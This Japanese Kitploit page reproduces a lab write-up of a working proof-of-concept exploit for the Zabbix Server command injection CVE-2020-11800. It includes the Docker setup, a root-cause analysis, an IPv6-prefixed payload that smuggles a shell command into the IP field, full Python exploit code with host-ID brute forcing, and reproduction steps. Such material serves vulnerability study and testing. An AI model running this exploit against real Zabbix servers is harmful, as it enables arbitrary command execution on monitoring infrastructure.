Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-11800 — CVE-2020-11800 の PoC エクスプロイト。悪意のあるエージェントの自動登録を介した Zabbix Server のコマンドインジェクションであり、Python ベースのペイロード配信とホスト ID のブルートフォース攻撃を特徴とする。 | Kitploit
ツール/GitHubGitHub/ycseo-git/cve-2020-11800
脆弱性分析エクスプロイトウェブセキュリティペネトレーションテストコマンド&コントロールペイロード開発
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

CVE-2020-11800 の PoC エクスプロイト。悪意のあるエージェントの自動登録を介した Zabbix Server のコマンドインジェクションであり、Python ベースのペイロード配信とホスト ID のブルートフォース攻撃を特徴とする。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

課題ガイドラインで必須とされるセクションは「(Required)」と表示されています。

1. 環境 (Required)

Dockerfile (Required)

この環境は、Vulhubが提供する脆弱なZabbix ServerイメージをベースにしたカスタムDockerfileを使用しています。

root@kitploit:~
FROM vulhub/zabbix:3.0.3-server

このDockerfileは、脆弱なZabbix 3.0.3サーバ環境を使用してローカルイメージをビルドします。ビルドプロセス中に追加のパッケージや設定は追加されていません。


docker-compose.yml (Required)

脆弱性環境はDocker Composeを使用して構成されています。

環境は4つのサービスで構成されています:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web Interface
  • MySQL Database

serverサービスはDockerfileを使用してローカルビルドされます。

root@kitploit:~
server:
  build: .
  image: cve-2020-11800-server

MySQLコンテナは、ボリュームマウントを使用してsrc/ディレクトリからSQL初期化ファイルを自動的にインポートします。

root@kitploit:~
volumes:
  - ./src/:/docker-entrypoint-initdb.d/

これにより、コンテナ起動時にデータベーススキーマと初期Zabbixデータが自動的にロードされます。


サービスアーキテクチャ (Required)

環境は以下の構造で動作します。

root@kitploit:~
[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

ブラウザからアクセス可能なWebベースの管理インターフェースを提供します。

管理者はこのインターフェースを通じて自動登録の設定や監視関連の操作を実行します。

Zabbix Server

以下の処理を担当する中核コンポーネント:

  • エージェント管理
  • スクリプト実行
  • 監視ロジック
  • イベント処理

コマンドインジェクションの脆弱性はこのコンテナ内で引き起こされます。

Zabbix Agent

監視対象ホストとして機能し、Zabbix Serverと通信します。

このエクスプロイトは、エージェント登録プロセス中に自動登録メカニズムを悪用します。

MySQL

Zabbixの設定データ、ホスト情報、監視関連データを保存します。


イメージとバージョン (Required)

サービスイメージバージョン
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

この環境は、Vulhubが提供する脆弱なZabbix 3.0.3環境をベースにしています。

2. 根本原因 (Required)

脆弱性の説明 (Required)

CVE-2020-11800は、Zabbix ServerのActive Proxy Trapper機能におけるコマンドインジェクションの脆弱性です。

この脆弱性は、CVE-2017-2824のパッチが不完全であったために存在します。攻撃者はIPv6形式のペイロードを使用して元のパッチをバイパスし、Zabbix Server上で任意のコマンドを実行できます。

この脆弱性は、サーバがユーザー制御のホスト情報を処理する際の自動登録プロセス中に引き起こされます。


根本原因分析 (Required)

脆弱性の根本原因は、シェルコマンド内でユーザー制御の入力を安全でない方法で処理することです。

スクリプト実行中、Zabbix Serverは登録されたホストIP値を使用して以下のようなコマンドを構築します。

root@kitploit:~
ping <host_ip>

通常の条件下では:

root@kitploit:~
ping 127.0.0.1

しかし、攻撃者が以下のペイロードを使用してホストを登録すると:

root@kitploit:~
ffff:::;touch /tmp/success2

シェルによって実行される最終的なコマンドは次のようになります:

root@kitploit:~
ping ffff:::;touch /tmp/success2

セミコロン(;)はシェルコマンドの区切り文字として機能するため、シェルは入力を2つの別々のコマンドとして解釈します:

root@kitploit:~
ping ffff:::
touch /tmp/success2

その結果、任意のコマンド実行が可能になります。

IPv6を使用したパッチバイパス

CVE-2017-2824に対する元のパッチは、悪意のある入力値を制限しようとしました。

しかし、検証ロジックはIPv6形式の入力を適切に処理していませんでした。

ペイロード:

root@kitploit:~
ffff:::;touch /tmp/success2

既存の検証ロジックをバイパスしつつ、シェルのメタ文字を注入するために、IPv6のようなプレフィックス(ffff:::)を使用します。

これにより、攻撃者は以前のパッチをバイパスし、コマンドインジェクションの脆弱性を引き続き悪用できます。


脆弱性トリガープロセス (Required)

エクスプロイトプロセスは以下の順序で発生します:

root@kitploit:~
攻撃者
 ↓
偽エージェント登録
 ↓
悪意のあるIPの保存
 ↓
Zabbixスクリプト実行
 ↓
シェルコマンド構築
 ↓
コマンドインジェクション
 ↓
任意コマンド実行

攻撃者はまず、細工されたIPフィールドを含む悪意のある自動登録リクエストを送信します。

ホストが登録された後、Zabbix Serverは保存されたホストIP値を使用して監視スクリプトを実行します。

このプロセス中に、悪意のあるペイロードがシェルによって解釈され、任意のコマンド実行につながります。


攻撃フローと影響 (Required)

このエクスプロイトにより、攻撃者はZabbix Serverプロセスの権限で任意のコマンドを実行できます。

この環境では、エクスプロイトが成功すると、サーバコンテナ内に以下のファイルが作成されました:

root@kitploit:~
/tmp/success2

これにより、注入されたシェルコマンドが正常に実行されたことが確認されます。

実際の環境では、エクスプロイトの成功により攻撃者は以下のことが可能になる可能性があります:

  • 任意のシステムコマンドの実行
  • マルウェアのダウンロードと実行
  • 内部偵察の実施
  • 他のシステムへのピボット
  • 監視インフラの侵害

この脆弱性は、監視サーバが多くの場合、複数の内部システムやインフラコンポーネントに対する可視性を持つため、特に危険です。

3. PoC (Required)

PoC概要 (Required)

概念実証(PoC)はPythonで記述されており、TCPポート10051を介してZabbix Serverと直接通信します。

PoCは以下のアクションを実行します:

  1. 悪意のある自動登録リクエストを送信
  2. 有効なhostid値をブルートフォース
  3. 注入されたペイロードを使用してスクリプト実行をトリガー

PoCコード (Required)

root@kitploit:~
import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

ペイロード分析 (Required)

このPoCで使用されるペイロードは:

root@kitploit:~
ffff:::;touch /tmp/success2

ペイロード構造

パート目的
ffff:::検証バイパスに使用されるIPv6のようなプレフィックス
;シェルコマンドの区切り文字
touch /tmp/success2サーバ上で実行される任意のコマンド

ペイロードは、サーバがユーザー制御のIP値をシェルコマンドに不適切に連結するという事実を悪用しています。

目的

  • 偽のZabbix Agentを登録
  • サーバに悪意のあるIP値を保存
  • コマンドインジェクションのターゲットを準備

ペイロードは自動登録プロセス中にipフィールドを通じて配信されます。


PoCコード実行プロセス (Required)

自動登録リクエスト

PoCが送信する最初のリクエストは、悪意のあるホストを登録しようとします。

root@kitploit:~
payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

ホストIDのブルートフォース

登録後、PoCは有効なhostidを見つけようとします。

root@kitploit:~
for i in range(10000, 10500):

PoCは可能なホストIDの範囲を反復処理し、スクリプト実行をトリガーしようとします。

このステップは、サーバが登録後に動的にホストIDを割り当てるため必要です。

スクリプト実行リクエスト

以下のリクエストがコマンド実行をトリガーします:

root@kitploit:~
{
    "request": "command",
    "scriptid": 1,
    "hostid": str(i)
}

パラメータ

パラメータ説明
requestスクリプト実行を要求
scriptid設定されたZabbixスクリプトのID
hostidターゲットホストID

この環境では、scriptid:1は、コマンド実行中にホストIP値を使用するping関連のスクリプトに対応しています。

脆弱性トリガー

Zabbix Serverは内部で以下のようなシェルコマンドを構築します:

root@kitploit:~
ping ffff:::;touch /tmp/success2

シェルはこれを次のように解釈します:

root@kitploit:~
ping ffff:::
touch /tmp/success2

結果として:

  • pingコマンドは無効なIPv6アドレスのため失敗
  • 注入されたtouchコマンドが正常に実行される

期待される出力

エクスプロイトが成功すると、以下の出力が表示される可能性があります:

root@kitploit:~
ping: bad address 'ffff:::'

これは、ペイロードがシェルコマンド実行段階に到達したことを示しています。

エクスプロイトの成功は、サーバコンテナ内に以下のファイルが存在することで確認されます:

root@kitploit:~
/tmp/success2

4. 再現 (Required)

PoCおよびエクスプロイト実行プロセス (Required)

完全なエクスプロイトフローを以下にまとめます:

root@kitploit:~
Docker環境の起動
        ↓
Zabbix Webインターフェースにアクセス
        ↓
自動登録の有効化
        ↓
exploit.pyの実行
        ↓
悪意のあるホストの登録
        ↓
スクリプト実行のトリガー
        ↓
コマンドインジェクション
        ↓
/tmp/success2の確認

実際のエクスプロイト実行手順 (Required)

環境セットアップ

Docker Composeを使用して脆弱性環境を起動します。

root@kitploit:~
docker compose up -d

すべてのコンテナが正しく実行されているか確認します。

root@kitploit:~
docker compose ps

環境には以下のコンテナが含まれている必要があります:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web
  • MySQL

Webインターフェースへのアクセス

ブラウザを開き、Zabbix Webインターフェースにアクセスします。

root@kitploit:~
http://127.0.0.1:8080

デフォルトの認証情報:

root@kitploit:~
Username: admin
Password: zabbix

自動登録の有効化

エクスプロイトでは自動登録機能を有効にする必要があります。

以下の場所に移動:

root@kitploit:~
Configuration → Actions

イベントソースを次のように変更:

root@kitploit:~
Auto registration

新しいアクションを作成し、以下の操作を設定:

root@kitploit:~
Operation Type: Add Host

これにより、新しく登録されたエージェントがサーバに自動的に追加されるようになります。

エクスプロイトの実行

PoCスクリプトを実行します。

root@kitploit:~
python3 exploit.py 127.0.0.1

PoCは悪意のある自動登録リクエストを送信し、複数のホストIDを使用してコマンド実行をトリガーしようとします。


結果分析 (Required)

出力例

エクスプロイトが成功すると、以下のような出力が表示される可能性があります:

root@kitploit:~
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}

これは、ペイロードが脆弱なシェルコマンド実行パスに到達したことを示しています。

コマンド実行の確認

Zabbix Serverコンテナにアクセスします。

root@kitploit:~
docker exec -it cve-2020-11800-server-1 bash

注入されたコマンドがターゲットファイルを作成したか確認します。

root@kitploit:~
ls -l /tmp/success2

エクスプロイトが成功すると、以下のような出力が得られます:

root@kitploit:~
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2

これにより、Zabbix Serverコンテナ内で任意のコマンドが正常に実行されたことが確認されます。


スクリーンショット (Required)

以下のスクリーンショットがscreenshots/ディレクトリに含まれています:

自動登録

PoC実行結果

ツールをダウンロード